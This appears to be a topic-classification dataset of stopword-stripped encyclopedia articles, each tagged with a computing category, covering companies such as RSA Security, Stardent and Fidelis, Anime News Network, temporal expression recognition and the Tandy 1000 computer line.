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ayotle ayotle french-mexican company headquartered paris france develops computer vision software provides technical services based motion capture 3d sensors interactive applications media entertainment industry company co-founded josé alonso ybanez zepeda gisèle belliot june 2010 ayotle ’ expertise centres development implementation advanced algorithms computer vision video images formats use 3d cameras depth sensors ayotle developed two main innovative software solutions facetracker using highly advanced technologies markerless motion capture ayotle offers new solutions computer facial animation anytouch project ayotle provides solution transform surface object touch device name ayotle comes word ayotl means turtle shell nahuatl original language used aztecs mexico ayotle currently supported paris region lab astia mairie de paris oséo scientipôle initiative cap-digital telecom paristech
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Distributed computing architecture
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rsa security rsa security llc formerly rsa security inc. business rsa american computer network security company focus encryption encryption standards rsa named initials co-founders ron rivest adi shamir leonard adleman rsa public key cryptography algorithm also named among products rsa bsafe cryptography libraries securid authentication token rsa known allegedly incorporating backdoors developed nsa products also organizes annual rsa conference information security conference founded independent company 1982 rsa security acquired emc corporation 2006 us 2.1 billion operated division within emc emc acquired dell technologies 2016 rsa became part dell technologies family brands rsa based bedford massachusetts regional headquarters bracknell uk singapore numerous international offices ron rivest adi shamir leonard adleman developed rsa encryption algorithm 1977 founded rsa data security 1982 march 17 2011 rsa disclosed attack two-factor authentication products attack similar sykipot attacks july 2011 sk communications hack nightdragon series attacks rsa called advanced persistent threat today securid commonly used software token rather older physical tokens rsa relationship nsa changed years reuter joseph menn cybersecurity analyst jeffrey carr noted two adversarial relationship early years rsa leaders prominent advocates strong cryptography public use nsa bush clinton administrations sought prevent proliferation mid-1990s rsa bidzos led fierce public campaign clipper chip encryption chip backdoor would allow u.s. government decrypt communications clinton administration pressed telecommunications companies use chip devices relaxed export restrictions products used restrictions prevented rsa security selling software abroad rsa joined civil libertarians others opposing clipper chip among things distributing posters foundering sailing ship words sink clipper rsa security also created des challenges show widely used des encryption breakable well-funded entities like nsa relationship shifted adversarial cooperative bidzos stepped ceo 1999 according victor chan led rsa department engineering 2005 joined 10 people labs fighting nsa became different company later example rsa reported accepted 10 million nsa 2004 deal use nsa-designed dual ec drbg random number generator bsafe library despite many indications dual_ec_drbg poor quality possibly backdoored rsa security later released statement dual_ec_drbg kleptographic backdoor march 2014 reported reuters rsa also adapted extended random standard championed nsa later cryptanalysis showed extended random add security rejected prominent standards group internet engineering task force extended random however make nsa backdoor dual_ec_drbg tens thousands times faster use attackers key dual_ec_drbg backdoor presumably nsa extended nonces extended random made part internal state dual_ec_drbg easier guess rsa security java version hard crack without extended random since caching dual_ec_drbg output e.g rsa security c programming language version already made internal state fast enough determine indeed rsa security implemented extended random java implementation dual_ec_drbg 2004 2013 rsa shipped security software — bsafe toolkit data protection manager — included default cryptographically secure pseudorandom number generator dual ec drbg later suspected contain alleged secret national security agency kleptographic backdoor alleged backdoor could made data encrypted tools much easier break nsa allegedly secret private key backdoor scientifically speaking alleged backdoor employs kleptography essentially instance diffie hellman kleptographic attack published 1997 adam young moti yung rsa security employees aware least dual_ec_drbg might contain backdoor three employees members ansi x9f1 tool standards guidelines group dual_ec_drbg submitted consideration early 2000s possibility random number generator could contain backdoor first raised ansi x9 meeting according john kelsey co-author nist sp 800-90a standard contains dual_ec_drbg january 2005 two employees cryptography company certicom — also members x9f1 group — wrote patent application described backdoor dual_ec_drbg identical nsa one patent application also described three ways neutralize backdoor two — ensuring two arbitrary elliptic curve points p q used dual_ec_drbg independently chosen smaller output length — added standard option though nsa backdoored version p q large output length remained standard default option kelsey said knew implementers actually generated non-backdoored p q reports implementations using smaller outlet nevertheless nist included dual_ec_drbg 2006 nist sp 800-90a standard default settings enabling backdoor largely behest nsa officials cited rsa security early use random number generator argument inclusion standard also fix unrelated backdoor problem csprng predictable gjøsteen pointed earlier 2006 lead gjøsteen call dual_ec_drbg cryptographically sound ansi standard group members microsoft employees dan shumow niels ferguson made public presentation backdoor 2007 commenting shumow ferguson presentation prominent security researcher cryptographer bruce schneier called possible nsa backdoor rather obvious wondered nsa bothered pushing dual_ec_drbg included general poor quality possible backdoor would ensure nobody would ever use seem general awareness rsa security made default products 2004 snowden leak september 2013 new york times drawing snowden leaks revealed nsa worked insert vulnerabilities commercial encryption systems systems networks endpoint communications devices used targets part bullrun program one vulnerabilities times reported dual_ec_drbg backdoor renewed focus dual_ec_drbg noted rsa security bsafe used dual_ec_drbg default previously widespread awareness new york times published article rsa security recommended users switch away dual_ec_drbg denied deliberately inserted backdoor rsa security officials largely declined explain remove dubious random number generator flaws became known implement simple mitigation nist added standard neutralize suggested later verified backdoor reuters joseph menn reported nsa secretly paid rsa security 10 million 2004 set dual_ec_drbg default csprng bsafe story quoted former rsa security employees saying alarms raised deal handled business leaders rather pure technologists interviewed cnet schneier called 10 million deal bribe rsa officials responded entered contract engaged project intention weakening rsa ’ products menn stood story media analysis noted rsa reply non-denial denial denied company officials knew backdoor agreed deal assertion menn story make wake reports several industry experts cancelled planned talks rsa 2014 rsa conference among mikko hyppönen finnish researcher f-secure cited rsa denial alleged 10 million payment nsa suspicious hyppönen announced intention give talk governments malware authors conference quickly set reaction reports trustycon held day one block away rsa conference 2014 rsa conference former rsa security executive chairman art coviello defended rsa security choice keep using dual_ec_drbg saying became possible concerns raised 2007 might merit nist acknowledged problems 2013 rsa known securid product provides two-factor authentication hundreds technologies utilizing hardware tokens rotate keys timed intervals software tokens one time codes 2016 rsa re-branded securid platform rsa securid access release added single-sign-on capabilities cloud authentication resources using saml 2.0 types federation rsa securid® suite also contains rsa identity governance lifecycle solution formally aveksa solution provides visibility access within organization manages access various capabilities access review request provisioning rsa envision security information event management siem platform centralised log-management service claims enable organisations simplify compliance process well optimise security-incident management occur april 4 2011 emc purchased netwitness added rsa group products netwitness packet capture tool aimed gaining full network visibility detect security incidents tool re-branded rsa security analytics combination rsa envision netwitness siem tool log packet capture rsa archer grc platform software supports business-level management governance risk management compliance grc platform allows users adapt solutions requirements build new applications integrate external systems without touching single line code product originally developed archer technologies emc acquired 2010
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Computer security
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stardent inc. stardent computer inc. manufacturer graphics supercomputer workstations late 1990s company formed 1989 ardent computer corporation formerly dana computer inc. stellar computer inc. merged stellar computer founded 1985 newton massachusetts headed william poduska previously founded prime computer apollo computer company aimed produce workstation system enough performance serious threat titan lower price ardent responded starting work new desktop system called stiletto featured two mips r3000s paired two r3010 fpus four i860s graphics processing i860s replaced vector units first product demonstrated march 1988 investment japanese company mitsui others announced june 1988 bringing total capital raised 48 million almost time november 1985 alan h. michaels matthew sanders iii co-founded dana computer inc. sunnyvale california silicon valley company sought produce desktop multiprocessing supercomputer dedicated graphics could support four processor units processor unit consisted initially mips r2000 cpu later r3000 connected custom vector processor vector unit held 8,192 64-bit registers could used way 8,192 one-word thirty-two 256-word registers compares modern simd systems allow perhaps eight sixteen 128-bit registers small variety addressing schemes changed company name dana ardent learning local disk drive company called dana goal release titan competitor july 1987 50,000 price point late 1986 however became clear unrealistic second round funding came kubota corporation japanese heavy industries company cash spare looking new opportunities kubota agreed fund completion titan also provide production facilities japan time finally ready testing february 1988 performance leadership position titan eroded price risen 80,000 ardent software ran unix system v release 3 proprietary support four-way smp vector processor compiler based convex fortran c compiler significant graphics system visualization dore dynamic object rendering environment gordon bell architect vax computer early member ardent michaels considered working poduska founded convergent technologies instead ardent japan-based kubota corporation became major investor owning 44 ardent delay product introduced 1988 merger two rivals announced august 30 1989 completed november 1989 poduska chief executive bell served chief scientist although stardent products known high performance also demanded high prices 1990 model quoted 123,400 example although much less cray y-mp kubota alleged forced merger odd twist original stellar group left corporate power number ardent employees less happy move quit form companies others attempted get kubota spin original development group new company called comet nothing came early july 1990 california portion stardent transferred company headquarters massachusetts co-chairmen michaels sanders brought suit kubota july 13 25 million damages contending kubota used financial leverage ardent force merge transfer people technology kubota unit july 24 1990 stardent fired co-chairmen michaels sanders offering settlement avoid publicity august board directors dismissed michaels sanders board agreed sell equity company kubota additional 60 million august 1991 stardent spun popular application visualization system avs software separate company november year stardent announced would cease operate name stardent computer sell titan workstation operations kubota pacific computers find buyer vistra workstations create new company called gs computer services provide maintenance support discontinued gs series workstations inherited stellar investors lost estimated 200 million remainder company would focus avs software system existing shareholders stardent would become shareholders software firm end year company given finding buyer believed oki electric vistra line workstations still hoped sell underlying graphics technology based intel i860 stardent decided liquidate rather pursuing new funding kubota corporation sales estimated 40 million 1990 limited ability compete workstation manufacturers ibm hp silicon graphics kubota pacific cast looking direction finally settling desktop-sized 3d graphics accelerator alpha-based dec 3000 axp workstations called denali company also bought dec 3000 axp workstations packaged denali sold integrated product kenai workstation company changed name becoming kubota graphics company closed 1994 1994 kubota graphics bought accelgraphics maker accelgraphics ag300 ag500 accelgraphics turn acquired evans sutherland 1998 stellar line called graphics supercomputer gs considered advanced design late 1980s stellar gs workstation family consisted gs1000 gs2000 models stellar merged ardent form stardent sold st1000 st2000 models gs2000 cpu supported four threads streams execution total 20 mips vector coprocessor capable 80 mflops 16 128mb system memory supported 64mb memory typical four threads implemented using barrel processor design similar used cdc 6000 series denelcor hep gs2000 graphics subsystem supported interactive 3d rendering rates 120,000 gouraud-shaded triangles per second 600,000 short vectors per second texture mapping antialiasing accumulation buffer also supported cpu graphics system shared system memory vector coprocessor gs workstations used x window system 3d hardware programmed x extension known xfdi x floating-point device interface bindings c fortran display supported 1280 1024 resolution 12 24 bits per pixel pseudo-color true-color modes 12 24-bit z buffers supported gs2000 cabinet quite large approximately 30 inches wide 48 inches tall 36 inches deep companion expansion chassis size could contain 9-track tape drive example
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Computer architecture
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anime news network anime news network ann anime industry news website reports status anime manga video games japanese popular music related cultures within north america australia southeast asia japan website offers reviews editorial content forums readers discuss current issues events encyclopedia contains large number anime manga information japanese english staff theme music plot summaries user ratings founded july 1998 justin sevakis website claims leading english-language source news information anime manga internet site operated 2008 magazine protoculture addicts website separate versions news content aimed towards audiences four separate regions united states canada australia new zealand southeast asia france international version website founded justin sevakis july 1998 may 2000 current ceo christopher macdonald joined website editorial staff replacing former editor-in-chief isaac alexander july 2002 anime news network launched encyclopedia collaborative database anime manga titles also including information staff cast companies involved production localization titles january 2007 ann launched separate version australian audiences july 4 2008 ann launched video platform library anime trailers well news show anntv fall 2004 editorial staff ann became formally involved anime magazine protoculture addicts magazine began publishing ann editorial control january 2005 september 7 2004 sci fi channel online newsletter sci fi weekly named site web site week anime news network stories related anime manga researched ann staff contributors staff discretion also contribute news articles website maintains listing anime manga titles well people companies involved production titles dubs encyclopedia site hosted several regular columns including question-and-answer column hey answerman review column entitled shelf life column old forgotten media called buried treasure written sevakis listing claimed differences edited original versions anime series titled edit list staff members ann also publish blogs hosted site ann also hosts forums includes threads accompany news item purposes discussion anime news network hosts irc channel worldirc network animenewsnetwork august 7 2017 hacker took control anime news network domain animenewsnetwork.com compromised site twitter accounts including personal accounts ann ceo christopher macdonald executive editor zac bertschy site temporarily live animenewsnetwork.cc staff regained control original domain article days loss domain macdonald published full story domain stolen
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Databases
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temporal expressions temporal expression text sequence tokens words numbers characters denote time express point time duration frequency examples initially temporal expressions considered type named entities identification part named entity recognition task since automatic content extraction program 2004 separate task identified called temporal expression recognition normalisation tern timex evaluation evaluated two major temporal annotation challenges tempeval i2b2 prefer timeml-level timex3 standard similarly ner systems temporal expression taggers created either using linguistic grammar-based techniques statistical models hand-crafted grammar-based systems typically obtained better results cost months work experienced linguists many systems available creating temporal expression recognizer scratch generally undesirable duplication effort instead current approaches focus novel subclasses timex statistical systems typically require large amount manually annotated training data usually applied recognition task although work done using machine learning algorithms resolve certain ambiguities interpretation step
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Computational linguistics
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fidelis cybersecurity fidelis cybersecurity cybersecurity company focused threat detection hunting response advanced threats data breaches ibm united states army united states department commerce among customers fidelis offers network security appliances include company patented deep session inspection architecture company claims speed accuracy network traffic inspection among technical differentiators august 2012 general dynamics announced agreement acquire fidelis advanced information systems division april 2015 marlin equity partners entered agreement general dynamics acquire fidelis cybersecurity solutions intention creating new advanced threat defense service may 2015 wall street journal reported fidelis acquired resolution1 incident response endpoint detection response provider february 2016 new york times reported fidelis hired provide hardware software monitor university california network acquiring deception technology vendor topspin fidelis launched deception product january 2018..
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Computer security
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tandy 1000 tandy 1000 first line ibm pc compatible home computer systems produced tandy corporation sale radio shack radio shack computer center chains stores december 1983 executive tandy corporation maker trs-80 computers said new ibm pcjr 'm sure lot people coming pcjr look-alikes market big preparing tandy 2000—the company first ms-dos computer—for release november 1983 tandy began designing tandy 1000 code named august unlike 2000 would pc compatible ibm pc support pcjr graphics standard released november 1984 1,200 tandy 1000 offered functionality pcjr improved keyboard better expandability compatibility could ibm made mistake pcjr amazed tandy executive said regarding chiclet keyboard another claimed 1000 pcjr tandy 2000—not completely pc compatible—quickly failed although press saw 1000 former personal-computer leader tandy admitting could longer focus proprietary products market ibm pc dominated 1000 sold units first month tandy product early 1985 best-selling computer 1000 joystick ports like pcjr 16-color graphics 3-voice sound pcjr rom cartridge ports since ibm discontinued pcjr soon release 1000 tandy quickly removed mentions pcjr advertising emphasizing product pc compatibility although tandy initially marketed 1000 business computer like ibm pc infoworld stated 1985 company produced real home computer company claimed 1000 first fully ibm pc-compatible computer available less 1000 1000 helped company obtain 9.5 share us home-computer market 1986 year tandy stated half compatibles purchased home 1988 ceo john roach disagreed apple counterpart john sculley rejection home market let deny person well-represented home market wants abandon right tandy also regained significant share apple-dominated educational market two companies equally shared 1000 many successors successful unlike pcjr partly sold ubiquitous radio shack stores partly computer less costly easier expand almost entirely compatible ibm pc pcjr enhanced graphics sound standards became known tandy-compatible graphics sound built-in joystick ports 1000 best computer pc games vga graphics became popular 1990s software companies era advertised support tandy platform 28 66 games computer gaming world tested 1989 supported tandy graphics tandy 1000 computers first ibm pc clones incorporate complete set basic peripherals motherboard using proprietary asics forerunner chipset although original tandy 1000 came ibm pc-like desktop case models notably 1000 ex 1000 hx used home-computer-style cases keyboard motherboard disk drives one enclosure high level integration made machines cost-effective alternative larger complex ibm pc/xt pc/at-type systems required multiple add-in cards often purchased separately implement comparable feature-set tandy 1000 derived ibm pcjr architecture tandy 1000 offered several important features ibm pc-compatibles time lacked pcjr sound generator extended cga-compatible graphics controller also offered multiple built-in i/o ports including joystick port frequently separate add-on card non-tandy machines original line equipped intel 8088 cpu later extended faster clock speeds also 8086 80286 toward end line rsx 80386sx processors successors 1000 appended two three letters name space e.g tandy 1000 ex tandy 1000 hx instances letters slash appended followed either number additional letters e.g tandy 1000 tl/2 tandy 1000 rl/hd 1993 changes market made increasingly difficult tandy corporation make profit computer line tandy corporation sold computer manufacturing business ast computers tandy computer lines terminated radio shack stores began selling computers made manufacturers ibm compaq article subtitled junior meets match john j. anderson creative computing called original tandy 1000 machine ibm inept incapable afraid manufacture sure put whopping dent pcjr sales sales pc 'senior well favorably mentioned low price good pc-software compatibility bundled deskmate might never need another software package computer 80 micro approved 1000s pc compatibility stated exterior design gives feeling quality confidence magazine concluded tandy machine closely emulates basic functions ibm pc affordable price ... along security tandy substantial support network wondered people would buy 1000 ibm lowered price pc infoworld noted 1000s low price fully one-third less comparably equipped ibm pc predicted computer really intended elusive home computer market speculated retrospect might pcjr final straw magazine called 1000 almost fully ibm pc compatible computer get gave deskmate mixed review advised customers computer inability use full-length pc expansion cards concluded making 1000 inexpensive adaptable including deskmate tandy produced real home computer byte called 1000 good reasonably priced ibm pc clone best features ibm pc pcjr ... current prices good alternative noted high level software compatibility good keyboard stated deskmate fairly good ... little extra programming work could turned much better program noting that—for example—the word processor move command magazine also mentioned computer short slots pc magazine also noted slots criticized tandy 1000 fit finish acknowledged computer low price bundled hardware features tandy 1000 computers featured built-in video hardware enhanced sound hardware based one several variants texas instruments sn76496 sound generator numerous peripheral interfaces including game ports compatible trs-80 color computer ibm-standard floppy-disk controller supporting two drives parallel printer port integrated motherboard addition hardware standard ibm pc/xt later tandy 1000 models pc/at motherboards original tandy 1000 designers omitted dma controller pcjr one believed needed would add additional memory computer omitted rs-232 port tandy printers use parallel port believed customers would use internal modems earlier models tandy 1000 composite video output could used color monochrome composite monitor tv rf modulator original 1000 sx light-pen port unlike pc clones several tandy 1000 computers ms-dos built rom could boot seconds tandy bundled deskmate graphical suite consumer-oriented applications various tandy 1000 models early tandy 1000 models used phoenix bios common models machine included tandy 1000 1000 ex 1000 hx 1000 sx 1000 tx 1000 sl 1000 rl 1000 tl exception rlx rsx tandy 1000 machines xt-class machines support extended memory despite models using 80286 processors rlx oddity xt-class machine supports 384 kb extended memory rsx fully at-class machine support 9 mb extended memory exception 1000 ex hx tandy used industry standard 8-bit xt isa slots desktop models including sx tx sl tl series actual length limited 10.5 inches shorter rather industry standard xt length 13 inches 8-bit xt isa cards shorter 10.5 fit 1000 slots many 8-bit cards met length requirement cards hard cards ems memory cards multifunction cards required standard 13 length fit 1000 case ex hx utilized plus-style connector electronically identical 8-bit xt isa slot 62-pin berg connector instead card edge rendering incompatible isa cards without adapter plus connector designed compactness models built-in keyboards 1000 rsx featured two 16-bit isa slots hard disk drives time tandy 1000 introduction expensive tandy 1000 systems usually equipped hard drives however possible add hard drive tandy 1000 computers desktop-type tandy 1000 units could accept regular 8-bit isa bus mfm rll scsi controllers like typical xt-class machines however care taken configuring cards cause conflicts on-board tandy-designed peripherals tandy 1000 models compact ex hx come already equipped hard drive tandy offered hard disk options form hardcards installed one computer expansion slots consisted controller drive typically 3.5-inch mfm rll unit western digital controller mounted together metal bracket 20 mb hard card offered 799 though compatible third-party units available although arrangement provided neat physical coupling controller disk single-sector internal transfers dependence speed host machine transfer data memory meant trial-and-error approach still needed set disk interleave correctly ensure optimum transfer rates furthermore tandy 1000 slots 10.5 long 8-bit units would fit and/or operate correctly unless certified tandy-compatible starting tandy 1000 tl/2 xt ide controllers integrated onto motherboard however incompatible common ide hard drives tl/2 tl/3 rl rlx used xt ide interface later significantly upgraded rsx first tandy 1000 model computer use standard ide interface one option contemporary users systems would install use xt isa compactflash adapters also practical way install hard drive tandy 1000 ex hx using adapter cable adapts male plus-style connector 8-bit isa card-edge slot tandy 1000 sx tx used proprietary 8-pin round din connector keyboard port compatible older trs computers compatible ibm pc/at ps/2 standard scan codes differed tandy 1000 ibm pc/xt resulting software compatibility issues sl/tl later used directly pc/xt-compatible keyboard protocol 1000 rsx used pc/at ps/2-compatible protocol tandy 1000 used proprietary 6-pin female round connector joystick port sx/tx adjacent keyboard port front computer keyboard compatible older trs-80 tandy color computer models compatible ibm standard 15-pin male game port dos games work joystick ports support tandy 1000 graphics sound work early tandy 1000 models used non-standard card-edge parallel printer port rather industry standard db-25 printer port required tandy-1000 compatible printer cable connect standard printer parallel port later changed standard db-25 connector 1000 rl tandy 1000tx beyond used proprietary floppy drive cable port also powered floppy drive required tandy 1000 compatible floppy drive though may possible modify floppy drive cable make standard floppy drive work tandy shipped pcs customized version ms-dos compatible tandy graphics keyboard current version ms-dos tandy 1000 dos 3.22 tandy 1000s came shipped one several varieties deskmate gui productivity software suite may compatibility issues later versions dos dos 5 dos 6 1000 rlx tandy 1000s typically limited 640 kb main memory non-tandy versions dos often reduce memory available applications games addition hardware detection routine installer microsoft ms-dos 6 could corrupt serial eeprom tandy 1000 hx machines tandy 1000s could work windows 1.0 2.0 3.0 3.1 exception rlx could run windows 3.1 standard mode rsx fully supported running windows 3.1 386 enhanced mode tandy offered 2 color monitors specific tandy 1000 computers cm-5 0.64 millimeter dot pitch tandy cm-11 dot pitch 0.42 mm 13 inch displays power cable 9 pin rgb cable attach tandy cga port expensive cm-11 also supported special proprietary tandy enhanced 225 scan line text display mode tandy also offered monochrome monitors support mda hercules standard also work tandy 1000 uses cga-compatible interface non-tandy monitors support cga work original tandy 1000 sx ex tx hx used proprietary keyboard keyboard layout compatible pc/xt/at standard use layout keyboard prefigured ibm model keyboard introduced ibm ps/2 series function keys arranged row top instead left pc pc xt/at later models tandy 1000 series 1000 sl tl rl series used keyboard similar compatible ibm ps/2 series keyboard connector layout tandy 1000 used game ports tandy color computer series 26-3025 color mouse 26-3125 deluxe mouse compatible tandy 1000 though dos software drivers written recognize tandy digi-mouse also available required separate controller available either isa plus format systems rs-232c serial ports could use standard serial mice later systems 1000 rl featured ps/2 mouse connector radio shack offered one button joystick worked proprietary 6-pin din joystick connector compatible older trs-80 color computer standard 15-pin ibm pc game ports often found sound cards i/o multifunction isa cards worked many games written take advantage tandy graphics sound radio shack offered tandy 1000 plus 300-baud pc modem compatible 1000ex/hx used plus slots radio shack also offered 2400-baud internal modem third party modems speeds 14k baud work provided 8 bit isa fit radio shack sold tandy dmp-130a dot matrix printers go along tandy 1000 line along compatible card-edged printer cable printer sold home budget prices radio shack often offered package bundle tandy 1000 computer cm-5 budget monitor dmp-130a printer using specially-designed aftermarket cables possible connect non-tandy printers system tandy radio shack wanted compete education school home market dominated apple iie time partnered diamond radio shack sold diamond trackstar 128 series apple iie compatibility board 399 1987 offered free installation tandy 1000 series peripheral similar apple iie card sold later macintosh lc fully functional apple iie clone 128k ram 6502 cpu double high resolution graphics allowed tandy 1000 computers run software written apple iie iic platform especially important consideration education market time also sold retail home users businesses interested ms dos apple ii compatibility board pass rgb cable floppy drive cable required open 10 inch 8-bit isa slot used boot disk boot apple mode boot disk dos apple software could copied compatibility fairly good allowed tandy 1000 owners run apple ii software tandy 1000 machine less cost owning 2 separate machines ibm pc computer apple iie monitor many tandy 1000 sold schools came diamond trackstar 128 installed many home owners also purchased compatibility dos apple ii software original tandy 1000 large computer almost size though plastic case aluminium lower chassis reduce weight came standard one internal 5.25 double-density floppy disk drive additional exposed internal bay usable installation second 5.25 disk drive available kit radio shack floppy drives used jumpers select drive number instead ibm cable twist memory standard computer accepting total memory addition expansion cards ms-dos 2.11 deskmate 1.0 keyboard layout tandy 2000 included computer like pcjr tandy 1000 motherboard supply dma unlike system could dma added memory expansion board tandy 1000 three xt-compatible expansion slots early tandy memory upgrade boards took two slots get slots inches length instead pc 13 inches full-length cards fit reviewers noted many built-in hardware features reduced need cards later revision original tandy 1000 model tandy 1000a revision fixed bugs scanned expansion cards bootable roms added socket math coprocessor original tandy 1000 many models like home computers sold time hard disk drive tandy 1000 hd essentially original tandy 1000 hard disk option factory installed factory hard disk capacity order 10 20 mb tandy 1000 sx tx upgraded versions original tandy 1000 utilizing similar chassis two major upgrades original tandy 1000 inclusion dma controller improved speed diskette operations ibm pc-compatibility systems addition two additional isa expansion slots offer total five 8-bit isa slots tandy 1000 sx used 7.16 mhz 8088-2 processor 384k memory upgradeable 640 kb motherboard came either one two 5.25 internal floppy disk drives light pen port serial port like original tandy 1000 adjustable potentiometer inside system controlled volume internal speaker tandy ax sx rebadged sale walmart stores 1000 sx came ms-dos 3.2 deskmate ii 5.25 360kb diskettes sx first tandy 1000 built-in video circuitry could disabled via dip switch permit installation upgraded graphics card typically ega vga card expansion slot tandy 1000 tx similar 1000 sx detached keyboard unique parallel port edge connector xt-style architecture slightly modified case major difference 80286 cpu clocked 8 mhz similar ibm xt 286 featured 16-bit-wide memory bus although on-board peripherals isa slots 8 bits wide tx 3.5 internal floppy disk drive mounted 5.25 bay room optional second internal 3.5 5.25 floppy disk drive rear panel ports 1000 sx except rs-232c serial port replaced light-pen port memory size 640 kb sockets additional 128 kb devoted onboard video logic extra 128 kb could used on-board video controller impractical expand on-board memory beyond 640 kb vga graphics card installed computer came bundled personal deskmate 2 tandy 1000 ex hx designed entry-level ibm-compatible personal computers marketed starter systems people new computing offered compact all-in-one chassis featured 7.16 mhz 8088 capable clocking 4.77 mhz 256 kb memory expandable 640 kb plus memory expansion board pcjr- cga-compatible tandy video graphics controller keyboard depending model either single 5.25 360 kb floppy drive one two 3.5 720 kb floppy drives external floppy drive could connected port back machine supplied power external drive tandy unit usable ex hx external drive standard 360 kb 5.25 inch format 1988 compatible 720 kb 3.5 inch model offered ex hx upgradable via tandy plus cards systems bays three cards plus card connector electrically identical isa slot connector uses berg-style 62-pin connector instead 62-contact isa card-edge connector plus cards could installed add serial ports 1200-baud modem clock/calendar bus mouse board proprietary tandy network interface radio shack later sold adapter card allowing installation plus card standard isa slot larger tandy 1000 models like original tandy 1000 ex hx built-in dma controller though one added using plus memory expansion board tandy 1000 ex featured 5.25 floppy drive built right-hand side computer casing ex sold us 1,000.00 radio shack december 1986 ex later hx would among popular tandy 1000 line relatively low price useful feature ex later systems ability boot either drive drives could logically swapped system booted drive normally drive b became drive vice versa drives remained swapped system powered reset sx tx capability well 1000 ex came ms-dos 2.11 personal deskmate 5.25 360kb diskettes ms-dos version specialized bootable tandy 1000 included version basica microsoft advanced gw-basic support enhanced cga graphics modes a.k.a tandy graphics tga three-voice sound hardware tandy 1000 tandy 1000 hx updated version ex utilized architecture plus cards ex however one obvious difference offered two 3.5 bays front panel occupied one two 720 kb 3.5 floppy drives opposed single side-mounted 5.25 bay floppy drive ex also tandy ms-dos 2.11r rom could accessed starting computer bootable disk present another improvement ex addition serial eeprom store configuration information enabling similar functionality today cmos nvrams comparison earlier tandy 1000 models like ibm pc pc/xt systems used dip switches jumpers startup configuration settings putting basic elements dos deskmate rom eliminating memory test startup hx booted quickly compared contemporary ms-dos machines despite immediate provisions hard disk drive addition tandy ms-dos 2.11r hx shipped personal deskmate 2 versions ms-dos worked 1000 hx including dos 3.x later versions however quirk dos 4.0 environment prevented version dos working tandy 1000 hx computers additionally installer ms-dos 6 could corrupt contents serial eeprom tandy sl tl series computers updates sx tx respectively addition offering redesigned cases machines offered integrated motherboard improved graphics sound capabilities dropping composite video output graphics controller supported resolution well hercules graphics card-compatible mode monochrome monitors sound capabilities included 8-bit monaural dac/adc similar function parallel port sound devices covox speech thing disney sound source extended support dma transfers microphone input capability sampling rates 48 khz sl/tl lines allowed on-board floppy controller parallel port serial ports disabled earlier models sl tl also shipped ms-dos 3.3 deskmate 3 rom featured serial eeprom memory chip store bios settings machines could also run 'normal ms-dos 3.x 5.x 6.x windows 2.x 3.0 operating systems although windows limited real-mode operations common many pc clones era ms-dos 4 problematic generally avoided tandy 1000 sl sl/2 feature intel 8086 processor running 8 mhz socketed thus upgradeable nec v30 sl came ram preinstalled whereas sl/2 offered machines could expanded although graphics controller reserved portion memory yielding available operating system even systems using add-in isa graphic cards sl line mic/earphone ports volume knob reset button small satellite board jumper board allowed user change microphone input line-level output sl series offered five 8-bit xt-compatible isa slots come pre-installed real-time clock chips making optional upgrades form plug-in dallas ds1216e smartwatch sl machine line offers upper 5.25 bay therefore model offer two 5.25 bays models including sl/2 entire tl range feature two upper 3.5 bays one lower 5.25 bay result fitting hard drive sl already upper lower 5.25 bays populated may require either removal one devices bays installation hard disk card-style bracket seats one isa slots tandy 1000 tl tl/2 used 8 mhz intel 80286 processors whereas tl/3 used 10 mhz 80286 socketed thus upgradable 386sx 486sx replacements though functionality far true 386/486 cores due lack extended memory boards xt-type expansion slots tls 640 kb memory preinstalled option extra 128 kb video frame buffering 1000 tx unlike sl series machines tl machines came smartwatch real-time clock logic built-in powered removable 3-volt cr2032 button-cell battery motherboard tl offered five 8-bit xt-compatible isa slots tl/2 tl/3 offered four slots on-board 8-bit xt ide-compatible hard disk interface compatible standard ide hard drives tl series offered two upper 3.5 bays one lower 5.25 bay tl/3 also offered high-density floppy drive controller 1.44 mb drives though shipped double-density 3.5 720 kb drive tandy 1000 rl/rlx/rsx series slim-line desktop home computers featured much compact case least 512 kb memory pre-installed smaller ps/2-style keyboard mouse ports least one isa expansion slot rl-series rsx include provisions internal hard disk drive depending model rl-series featured built-in xt-ide hard drive interface rsx featured at-compatible ide interface keyboard connectors rl-series similar mechanically compatible ps/2-style connectors fully compatible typical ps/2 keyboards keyboard uses xt keyboard protocol rsx however incorporated keyboard protocol making first 1000-series system offer complete compatibility typical ps/2 keyboards keyboards using adapter rl rl/hd featured surface-mounted 8086 processor 512 kb ram expandable 768 kb provide 128 kb video 640 kb conventional memory db-25 unidirectional parallel port instead edge-connector ports sl enhanced graphics sound single half-size 8-bit expansion slot available rl/hd battery-backed real-time clock chip store date time information rl lacked models also ms-dos portion deskmate rom could therefore boot much faster many computers market rl/hd came 20mb drive preinstalled rlx 'mid-range offering rl line 10 mhz 286 surface-mounted 512 kb ram unlike 286-based tandy 1000 models supported 384 kb extended memory ram expanded maximum 1 mb however full at-class machine still 8-bit isa bus rl one half-size expansion slot 8 irqs 4 dma channels three-voice sound chip dac still present tandy video dropped favor acumos vga controller offering 256 kb video memory maximum 640x480x16 320x480x256 graphics resolution parallel port bidirectional first tandy 1000 series rlx one 1.44 mb 3.5 floppy drive empty drive bay could host second drive hard disk rlx/hd came 20 mb hard disk 1 mb ram preinstalled hard disk occupied empty drive bay version supported single floppy drive upscale offering rsx offered 25 mhz 80386sx processor 1 mb ram two 16-bit isa slots acumos svga video bidirectional parallel port standard ps/2 keyboard mouse ports full 386-class pc could run microsoft windows 3.x two sockets simm memory cards provided 1 mb 4 mb simms 9-chip type supported two installed like capacity two 4 mb simms installed 1000 rsx could expanded 9 mb ram without using isa slot rsx/hd variant came 52 mb hard drive using at-compatible ide interface replacement hard drives 504 mb could substituted slimline case one hard drive could installed alongside 1.44 mb 3.5 floppy drive motherboard socket 80387sx math coprocessor rsx still retained tandy 1000 3-voice sound hardware dac though i/o address 3-voice sound chip moved rendering many games previously compatible unable play music unless modified dac could used emulate covox speech thing via ms-dos device drivers limited sound support worked game chuck yeager air combat windows 3.xx sound device drivers available worked windows 95 full 9mb ram tandy 1000 rsx acumos vga graphics could software-updated cirrus logic bios via ms-dos driver allow vesa/svga function windows 95 windows 3.xx tandy vga drivers insufficient windows 95 major software publishers makers game educational software sierra broderbund offered software titles specifically supported tandy unique proprietary 16-color graphics 3-voice sound tandy specific hardware features enhancements offer superior graphics sound experience tandy 1000 owners standard dos titles software supported tandy graphics typically labelled package tandy 1000/pcjr compatible many tandy 1000 enhanced games featured youtube although tandy 1000 run dos software programs known specifically support tandy 1000 enhanced features programs require dos run tandy shipped version dos tandy used main memory graphics result programs require 640k 